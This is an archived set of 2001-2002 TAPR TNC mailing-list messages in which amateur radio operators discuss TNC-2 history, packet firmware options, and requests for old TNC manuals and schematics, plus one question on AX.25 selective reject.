There's also TexNet, which I don't think was ever ported to the TNC-2 family. TexNet was developed by the Texas Packet Radio Society (TPRS) - www.tprs.org.

Overseas, FlexNet is very popular. I don't have details on its hardware platform, but I don't think it's based on the TNC-2.

You'll encounter mentions of KISS mode, which turns off some of the "higher" networking functions of the TNC to allow those functions to be performed in the host computer rather than the TNC. This was needed for, among others, TCP/IP.

Many hams feel that the ultimate "protocol" for Amateur Packet Radio (though not without its problems) is TCP/IP, which is very well supported.

Hope that helps.

Thanks,

Steve N8GNJ

Mark Martin wrote:

> Ok. 1985! Wow!! Was I late for the party!!!
>
> So, what is recommended for a guy who wants a TNC to play with APRS and then
> some other flavors of packet such as 'TheNet' and X1JR. Please suggest other
> protocol varients.
>
> Thanks! 73 De K9CF
>
> Best Regads - Mark L Martin

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

8. [tapr-tnc] RE: TNC for APRS, etc.

From: John Koster <w9ddd@tapr.org>
Date: Fri, 26 Oct 2001 09:49:19 -0500 (CDT)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-43696-2001.10.26-10.15.28--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

>
> There's also TexNet, which I don't think was ever ported to the TNC-2
> family. TexNet was developed by the Texas Packet Radio Society (TPRS) -
> www.tprs.org.

As a matter of historical interest however boring it may be. The first real on the air TexNet testing took place with 3 MFJ1270s between WB5PUC (formerly and now again WA9EXS), TI's club station and myself. I think that EPROM is still in my 1270. This was done because the hardware wasn't ready yet. Later on, WB5AOH did a version of the software that allowed two TNCs to be connected back to back, which gave you 2 of the 3 port capability of the TexNet hardware. (I don't think Tom ever did get his 1270 back from the TI club)

John Koster, W9DDD
<w9ddd@tapr.org>

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

9. [tapr-tnc] RE: tapr-tnc digest: October 25, 2001

From: Bob Nielsen <nielsen@oz.net>
Date: Fri, 26 Oct 2001 09:11:04 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: TAPR TNC Special Interest Group <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-43709-2001.10.26-11.37.15--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

On Fri, Oct 26, 2001 at 07:41:39AM -0400, Mark Martin wrote:

>
> ?Ok. ?1985! ?Wow!! Was I late for the party!!!
>
> So, what is recommended for ?a guy who wants a TNC to play with APRS and then
> some other flavors of packet such as 'TheNet' and X1JR. ?Please suggest other
> protocol varients.

For APRS, there are several choices, depending on if you want some
specific aprs features. Kantronics KPC3+ and the latest PacComm stuff
would be the best choices. If you want to use specialized firmware
such as TheNet, you will need something which is firmware-compatible
with the TNC-2. I would probably recommend a PacComm Tiny-2. The
older MFJ 1270s will work as well. There are some changes required
for the 1270C which are described in the X1J4 documentation, I believe.

Bob, N7XY

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

10. [tapr-tnc] RE: tapr-tnc digest: October 25, 2001

From: Chuck Hast <kp4djt@tampabay.rr.com>
Date: Fri, 26 Oct 2001 17:36:54 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-43750-2001.10.26-17.01.49--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

On Friday 26 October 2001 07:41 L, you wrote:
> Ok. 1985! Wow!! Was I late for the party!!!
>
> So, what is recommended for a guy who wants a TNC to play with APRS and
> then some other flavors of packet such as 'TheNet' and X1JR. Please
> suggest other protocol varients.

Well you can always try FPAC, there is a DOS version and a LINUX version.

>
> Thanks! 73 De K9CF
>
> Best Regads - Mark L Martin
>
> Bob Nielsen <nielsen@oz.net>
> 10/26/2001 05:38 AM GMT
>
> To: TAPR TNC Special Interest Group <tapr-tnc@lists.tapr.org>
> cc: Mark Martin/ORBVA@Orbital
> bcc:
> Subject: Re: [tapr-tnc] RE: tapr-tnc digest: October 25, 2001
>
>
> [IMAGE]
> Just to clarify, several of the overseas TNC-2 clone manufacturers were
> licensed by TAPR. The only one which I am aware of that still produces
> a somewhat-compatible product is Symek in Germany. All of the
> currently available clones differ somewhat from the TNC-2, but the MFJ
> 1270C is probably the closest.
>
> One of the reasons that TAPR ceased kit production (in 1985, I recall)
> was that fully assembled products were available from several suppliers
> for less than the price at which TAPR could offer the kit (economies of
> scale).

>
> There was a brief period (~1993) when TAPR made bare TNC-2 circuit
> boards available, but these were quickly snapped up. The schematic,
> manuals and an older version of the firmware (1.1.18a) are available
> from the TAPR ftp site in the software_lib/tnc area.
>
> Bob
>
> --
> Bob Nielsen, N7XY   nielsen@oz.net
> Bainbridge Island, WA   http://www.oz.net/~nielsen
> IOTA NA-065, USI WA-028S
>
> On Thu, Oct 25, 2001 at 10:00:59PM -0700, Steve Stroh wrote:
> > Mark:
> >
> > The TNC-2 is no longer offered as a product by TAPR. The intellectual
> > property (board layout, schematics, etc.) and manufacturing licenses for
> > the TNC-2 was sold to a number of companies that then produced TNC-2
> > equivalent devices. Two of the more prominent companies still in business
> > are MFJ (the original 1270 TNC) and PacComm Packet Radio Systems
> > (numerous TNC-2 equivalents, including the TNC-200 [if memory serves] and
> > the Tiny-2.
> >
> > There were a number of other TNC-2 derivatives from companies no longer
> > in business, and there were a number of unauthorized TNC-2 "clones"
> > manufacture red by overseas companies.
> >
> > Hope that helps, but if not, post more questions.
> >
> > Thanks,
> >
> > Steve
> >
> > --
> > Steve Stroh   steve@strohpub.com 425-481-0600
> > Independent Technology Writer
> > Specializing in Broadband Wireless Internet Access
> > Focus on Broadband Wireless Internet Access newsletter -
> > http://www.strohpub.com/focus.htm
> >
> > > -----Original Message-----
> > > From: bounce-tapr-tnc-6304@lists.tapr.org
> > > [mailto:bounce-tapr-tnc-6304@lists.tapr.org]On Behalf Of TAPR TNC
> > > Special Interest Group digest
> > > Sent: Thursday, October 25, 2001 22:01
> > > To: tapr-tnc digest recipients
> > > Subject: tapr-tnc digest: October 25, 2001
> > >
> > >
> > > TAPR TNC Special Interest Group Digest for Thursday, October 25, 2001.
> > >
> > > 1. Is there a TAPR TNC-2 Kit available?
> > >
> > > ---
> > >
> > > Subject: Is there a TAPR TNC-2 Kit available?
> > > From: "Mark Martin" <Martin.Mark@Orbital.COM>
> > > Date: Thu, 25 Oct 2001 13:54:40 -0400
> > > X-Message-Number: 1
> > >
> > >
> > >
> > > I see discussion of firmware upgrades,
> > > add on boards and the such,
> > > but for the life of me,
> > > I cannot find information on the original article.
> > >
> > > Where can I find information about the TNC everyone is talking about?
> > > (Sorry, it's a newbie question I know, but I think this is TAPR
> > > targeted enough
> > > to post here instead of a usenet news group.)

--
Chuck Hast
KP4DJT
kp4djt@tampabay.rr.com
To paraphrase my flight instructor;
"the only dumb question is the one you DID NOT ask resulting in my

going out and having to identify your bits and pieces in the midst of
torn and twisted metal."

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

November 2001

Original source file: tapr-tnc.0111
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0111

1. [tapr-tnc] AEA PK-90

From: Bill Wallick <Bill@ka0wuc.org>
Date: Sun, 11 Nov 2001 12:52:36 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-46313-2001.11.11-14.18.31--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I am looking for the "commands description" for the AEA PK-90. Any
information on the PK-90 would be welcome, including schematics. Thanks.
Bill Wallick, Woodland Park, CO

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

January 2002

Original source file: tapr-tnc.0201
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0201

1. [tapr-tnc] TAPR TNC-1 upgrade

From: Bob Barbier <capt_bob@ameritech.net>
Date: Thu, 24 Jan 2002 09:53:26 -0800
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-58904-2002.01.24-10.23.35--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I would like to get in touch with anyone who is using a TAPR TNC-1
upgraded to a TNC-2. I'm having some operating problems and would like
to confer with someone who has the same identical unit. I've been
off-line for many years, but now I'm getting station back in operation.
I'm having 2 operating problems - a steady audio tone on carrier when
TNC-2 unit is being used during xmit. This tone is not present when
operating in TNC-1 mode.   The second problem is a problem in decoding
incoming packets. The TNC-1 unit decodes everything it hears, but the
TNC-2 unit decodes 1 out of 10.
If anyone can help me with these operating problems, I'd appreciate it
very much.

73's   Bob   WD9IYS   Peoria, Illinois

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

March 2002

Original source file: tapr-tnc.0203
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0203

1. [tapr-tnc] Pakratt pk-232mbx

From: No Email <no_email_uk@yahoo.co.uk>
Date: Wed, 27 Mar 2002 15:31:51 +0000 (GMT)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-70937-2002.03.27-10.04.54--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Hi,

I have an old PakRatt PK-232MBX TNC connected
to a PC running Hyperterminal.

The TNC came without a manual and appears to be
running in Kiss mode.

Does anyone know who to get these TNC's OUT of
Kiss mode or know of a website with some info
on these TNC's ?

Disconnecting the internal battery to go back to
factory defaults appeared to make no difference.

Trevor M5AKA

_____
Do You Yahoo!?
Everything you'll ever need on one web page
from News and Sport to Email and Music Charts
http://uk.my.yahoo.com

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: Pakratt pk-232mbx

From: KSchmidt@t-online.de (Karl Schmidt)
Date: 27 Mar 2002 17:45 GMT
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-71086-2002.03.28-05.17.12--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Hello Trevor,
taking the battery out should definitely work,. But than you have to initialize the
RS232 again. Your should see in the dislplay "Press ***". As fa as I remember, after the battery-takeout
 it sets itself to 1200 bd. Adjust your terminal programm to that speed, and i hope you will see some
reaction.
Normally, it has an autobaud routine, that is, wenn you press several times "*", then it adjusts the
speed to your computer, but that does not always work, so try the 1200 bd trick.

73, de Karl from Koenigswinter

"No Email" <no_email_uk@yahoo.co.uk> schrieb:
> Hi,
>
> I have an old PakRatt PK-232MBX TNC connected
> to a PC running Hyperterminal.
>
> The TNC came without a manual and appears to be
> running in Kiss mode.
>
> Does anyone know who to get these TNC's OUT of
> Kiss mode or know of a website with some info
> on these TNC's ?
>
> Disconnecting the internal battery to go back to
> factory defaults appeared to make no difference.
>
> Trevor M5AKA

>
>
>
> _____
> Do You Yahoo!?
> Everything you'll ever need on one web page
> from News and Sport to Email and Music Charts
> http://uk.my.yahoo.com
>
> ---
> You are currently subscribed to tapr-tnc as: KSCHMIDT@T-ONLINE.DE
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
>
>

--
mfg
Schmidt

Karl Schmidt
EADS Dornier GmbH CIPG2
Systems & Defence Electronics
Tel.:   +49 2244 870640
Fax: +49 2244 870641
Mobile: 0174 66 22 5 77
Email: EADS.K@rlSchmidt.de

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] RE: Pakratt TNC

From: Bill Wallick <Bill@ka0wuc.org>
Date: Thu, 28 Mar 2002 17:03:38 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-71197-2002.03.28-18.46.06--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

The first thing that would come to mind, it to disconnect the internal
CMOS battery,,, and leave it off for 24 hours.... Just doing it for a
few minutes won't do the trick.

Hopefully, someone will have a manual that you can copy.

I have a couple of PK-90's. Which are even older. Got them working
OK....

Good luck. Bill KC0FNV

Subject: Pakratt pk-232mbx
From: =?iso-8859-1?q?No=20Email?= <no_email_uk@yahoo.co.uk>
Date: Wed, 27 Mar 2002 15:31:51 +0000 (GMT)
X-Message-Number: 1

Hi,

I have an old PakRatt PK-232MBX TNC connected
to a PC running Hyperterminal.

The TNC came without a manual and appears to be
running in Kiss mode.

Does anyone know who to get these TNC's OUT of
Kiss mode or know of a website with some info
on these TNC's ?

Disconnecting the internal battery to go back to
factory defaults appeared to make no difference.

Trevor M5AKA

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

April 2002

Original source file: tapr-tnc.0204
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0204

1. [tapr-tnc] RE: Pakratt pk-232mbx

From: "Christopher Story" <ke6rwj@msn.com>
Date: Mon, 1 Apr 2002 11:40:25 -0600
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-71791-2002.04.01-12.40.12--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I have a PK232MBX I can copy the manual or bulk scan it for you to pdf
and email it.

Let me know if you still need it.

Chris story
K6rwj

-----Original Message-----
From: bounce-tapr-tnc-7378@lists.tapr.org
[mailto:bounce-tapr-tnc-7378@lists.tapr.org] On Behalf Of No Email
Sent: Wednesday, March 27, 2002 9:32 AM
To: TAPR TNC Special Interest Group
Subject: [tapr-tnc] Pakratt pk-232mbx

Hi,

I have an old PakRatt PK-232MBX TNC connected
to a PC running Hyperterminal.

The TNC came without a manual and appears to be
running in Kiss mode.

Does anyone know who to get these TNC's OUT of
Kiss mode or know of a website with some info
on these TNC's ?

Disconnecting the internal battery to go back to
factory defaults appeared to make no difference.

Trevor M5AKA

_____
Do You Yahoo!?
Everything you'll ever need on one web page
from News and Sport to Email and Music Charts
http://uk.my.yahoo.com

You are currently subscribed to tapr-tnc as: ke6rwj@msn.com
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

---
You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] new email address

From: Zach Hamill <zachhamill@yahoo.com>
Date: Thu, 18 Apr 2002 14:51:30 -0700 (PDT)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-75047-2002.04.18-17.25.39--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Hello all,
Yahoo will stop forwarding my email to Outlook Express
on April 24. Which means you need to update your email
info on me. My new email address is
zhamill@cawg.cap.gov
If you have a kg6aba@hotmail.com account for me, that
is still working.
Thanks,
Zach Hamill

_____
Do You Yahoo!?
Yahoo! Tax Center - online filing with TurboTax
http://taxes.yahoo.com/

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

June 2002

Original source file: tapr-tnc.0206
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0206

1. [tapr-tnc] TNC-1 Information

From: Rob Campbell <kg6hum@arrl.net>
Date: Mon, 17 Jun 2002 22:25:17 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-85549-2002.06.18-01.02.29--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I was wondering if anyone still has information on a TNC-1. I got a revision 2 board recently and don't have any information about it. A manual would be nice, but schematics or connection information would help also. Does anyone know where I can find anything about it? Thanks for your help.

73 kg6hum

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] TNC-1 Information

From: "Darryl Smith" <Darryl@radio-active.net.au>
Date: Wed, 19 Jun 2002 16:32:44 +1000
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-85712-2002.06.19-02.12.58--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I have a manual.... It is not online. The schematics are on
http://www.radio-active.net.au/web/ham/tnc.html

Darryl

Darryl Smith, VK2TDS POBox 169 Ingleburn NSW 2565 Australia
Mobile Number 0412 929 634 [+61 4 12 929 634 International]
Darryl@radio-active.net.au | www.radio-active.net.au

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] manual

From: "Alan McClain" <mccomm@crunet.com>
Date: Thu, 20 Jun 2002 19:52:18 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-85975-2002.06.20-20.22.33--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Does anyone have an AEA PK-88 manual that I can receive a copy? I would be glad to pay shipping for the copy.

thanks,

Alan McClain
KA4BNI
ka4bni@arrl.net
www.ka4bni.com

July 2002

Original source file: tapr-tnc.0207
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0207

1. [tapr-tnc] AEA-PK88

From: "Isaac Herd" <iherd@woh.rr.com>
Date: Fri, 19 Jul 2002 16:10:21 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-90212-2002.07.19-15.53.47--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I need the jump settings Inside for my Aea-pk88.

Thanks Wd8oma Isaac

2. [tapr-tnc] TNC-1 connection diagram

From: James Cizek <jcizek@yuma.acns.ColoState.EDU>
Date: Thu, 25 Jul 2002 22:34:10 -0600 (MDT)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-91124-2002.07.26-00.13.01--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I have dug up an old TAPR TNC-1 that appears to fire up. I'd love
to see if it still works but have no docs on it. I have spent about
an hour searching the internet for connection diagrams to no avail.
Can anyone help provide me some insight?
The TNC board says "Tucson Amateur Packet Radio TNC Rev 2" Copyright 1983
The ROMS say 3.1 on them.   That's about all the details I have.
I did find a picture of it on the TAPR site in the history, but no hookup!!
Thanks in advance for any help!!

73 de KI0KN
-James
ki0kn@amsat.org

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] TNC1

From: "Clay Bartholow" <w0led@arrl.net>
Date: Mon, 29 Jul 2002 10:44:34
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-91613-2002.07.29-11.23.32--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Hi James!

I've got a TNC1 schematic around here somewhere...

I'll try to remember to scan the schematic and send it your way as an
attachment.

73,
Clay Bartholow
W0LED

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

4. [tapr-tnc] RE: tapr-tnc digest: July 29, 2002

From: "Darryl Smith" <Darryl@radio-active.net.au>
Date: Tue, 30 Jul 2002 14:51:07 +1000
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-91771-2002.07.30-00.34.33--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I have the schematics on my www site

http://www.radio-active.net.au/web/ham/tnc.html

Darryl VK2TDS

Darryl Smith, VK2TDS   POBox 169 Ingleburn NSW 2565 Australia

Mobile Number 0412 929 634 [+61 4 12 929 634 International]
Darryl@radio-active.net.au | www.radio-active.net.au

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

5. [tapr-tnc] TNC1 Schematics

From: "Clay Bartholow" <w0led@arrl.net>
Date: Tue, 30 Jul 2002 12:32:30
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-91895-2002.07.30-13.11.30--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Yeah, I'm not sure mine would scan any better. The URL is
http://www.radio-active.net.au/web/ham/tnc.html

I was able to view them with WinXP Picture and Fax Viewer as well as in IE
using a Quick Time plug-in.

I'll still scan my schematics and see if the quality is any better. If so,
I'll forward them to TAPR.

Clay
W0LED

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

6. [tapr-tnc] Re: TNC1 Schematics

From: John Koster <w9ddd@tapr.org>
Date: Tue, 30 Jul 2002 12:51:17 -0500 (CDT)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-91898-2002.07.30-13.30.29--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Thanks

John Koster, W9DDD
<w9ddd@tapr.org>

On Tue, 30 Jul 2002, Clay Bartholow wrote:

> Yeah, I'm not sure mine would scan any better. The URL is
> http://www.radio-active.net.au/web/ham/tnc.html
>
> I was able to view them with WinXP Picture and Fax Viewer as well as in IE
> using a Quick Time plug-in.
>
> I'll still scan my schematics and see if the quality is any better. If so,
> I'll forward them to TAPR.
>
> Clay
> W0LED
>
> ---
> You are currently subscribed to tapr-tnc as: W9DDD@TAPR.ORG
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
>
>

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

7. [tapr-tnc] Re: TNC1 Schematics

From: Bob Nielsen <nielsen@oz.net>
Date: Tue, 30 Jul 2002 21:08:02 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-92027-2002.07.30-23.48.48--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

On Tue, Jul 30, 2002 at 12:32:30PM +0000, Clay Bartholow wrote:
> Yeah, I'm not sure mine would scan any better. The URL is
> http://www.radio-active.net.au/web/ham/tnc.html
>
> I was able to view them with WinXP Picture and Fax Viewer as well as in IE
> using a Quick Time plug-in.
>
> I'll still scan my schematics and see if the quality is any better. If so,
> I'll forward them to TAPR.
>

Please ftp them to ftp://tapr.org/software_lib/Incoming and I will take
it from there. Thanks!

73, Bob N7XY

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

August 2002

Original source file: tapr-tnc.0208
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0208

1. [tapr-tnc] TNC Schematics

From: "Clay Bartholow" <w0led@arrl.net>
Date: Sat, 3 Aug 2002 13:15:43
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-92498-2002.08.03-13.54.57--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I've uploaded scanned copies of the schematics and related data for both
the TNC1 and the Beta TNC (including the upgrade schematic set.) I had to
scan the schematics in two parts to fit my scanner but the quality looks
OK. All files are in .gif format. I have also zipped all of the TNC1 and
Beta schematics into two .zip files. I hope you'll find these useful. I
guess sometimes it pays to be a packrat! Hi!

73,

Clay W0LED

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: TNC Schematics

From: Bob Nielsen <nielsen@oz.net>
Date: Sat, 3 Aug 2002 13:15:47 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-92511-2002.08.03-15.55.12--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I created a TNC1 subdirectory under software_lib/tnc and moved the
files there.

73,
Bob, N7XY

On Sat, Aug 03, 2002 at 01:15:43PM +0000, Clay Bartholow wrote:
> I've uploaded scanned copies of the schematics and related data for both
> the TNC1 and the Beta TNC (including the upgrade schematic set.) I had to
> scan the schematics in two parts to fit my scanner but the quality looks
> OK. All files are in .gif format. I have also zipped all of the TNC1 and
> Beta schematics into two .zip files. I hope you'll find these useful. I
> guess sometimes it pays to be a packrat! Hi!
>
> 73,
>
> Clay W0LED
>

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] TNC1 schematics - THANKS!

From: James Cizek <jcizek@yuma.acns.ColoState.EDU>
Date: Mon, 5 Aug 2002 08:41:34 -0600 (MDT)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-92822-2002.08.05-10.20.52--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Want to pass on a big thank you to all who replied with TNC 1
  schematics and info. There were actually so many people that
  replied to me, I decided to thank you all here on the list
  instead of individually replying. You all have been a great
  help and the info was just what was needed (and it looks like
  another piece of history has been added to the "archive" at TAPR!!)
  Thanks again!!
  73 de KI0KN
  -James

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

4. [tapr-tnc] 2002 issue of Packet Status Register (PSR)

From: Stan Horzepa <stanzepa@earthlink.net>
Date: Tue, 06 Aug 2002 19:56:48 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-93032-2002.08.06-19.36.27--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

The summer 2002 issue of Packet Status Register (PSR) is now available at
www.tapr.org.

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

5. [tapr-tnc] Help on AX.25 layer 2 Protocol (rev2,2)

From: "Mitchell Tom" <tom.mitchell@busmail.net>
Date: Sat, 24 Aug 2002 13:03:31 +0200
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-95426-2002.08.24-06.43.49--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I'm currently busy on a project were 2 terminals need to communicate point to point
via RF.
I have been implementing the data link layer statemachine found in the appidenxes
of the document AX.25 Protocol v2.2 - rev.11.

I've some troubles understanding the selective repeart scheme, hopefully
someone is willing to help me :

Initial transmit
N(s) - V(s)
0   0-->1
1   1-->2
2   2-->3
4   3   SREJ3 (F=1) + Push N(s) 4 on Queue
5   3   SREJ5 (F=0) + Push N(s) 5 on Queue
6   3   SREJ6 (F=0) + Push N(s) 6 on Queue

Retransmit + Initial transmit
N(s) - V(s)
3   3-->7   POP Frames N(s) 4 + 5 + 6 from Queue
4   7   ??? ERROR ???
5
6
7

Is this correct , or do the Expedited commands (SREJ + RR)   interrupt the
transmitting node from sending ?

September 2002

Original source file: tapr-tnc.0209
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0209

1. [tapr-tnc] [ricky3801@yahoo.com: kiss eprom]

From: Bob Nielsen <nielsen@oz.net>
Date: Mon, 23 Sep 2002 17:13:09 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-100195-2002.09.23-19.54.41--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Can someone answer Rick's question? Please cc: to him if you know.

Bob, N7XY

----- Forwarded message from ricky denis <ricky3801@yahoo.com> -----

Date: Mon, 23 Sep 2002 18:58:19 -0500
To: Bob Nielsen <n7xy@tapr.org>
From: ricky denis <ricky3801@yahoo.com> (by way of Greg Jones)
Subject: kiss eprom

hi,

is the kiss image file in the tapr library compatible
with a mfj 1270c tnc? thanks for any info.

73 - rick

=====
Donde esta Ricky? http://www.findu.com/cgi-bin/track1.cgi?hr2kos-14

----- End forwarded message -----

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: [ricky3801@yahoo.com: kiss eprom]

From: Byron Smith <wa6ylb@theworks.com>
Date: Mon, 23 Sep 2002 21:33:32 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-100228-2002.09.24-00.15.20--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Done. I have a file on my web site that describes what to do to the 1270C
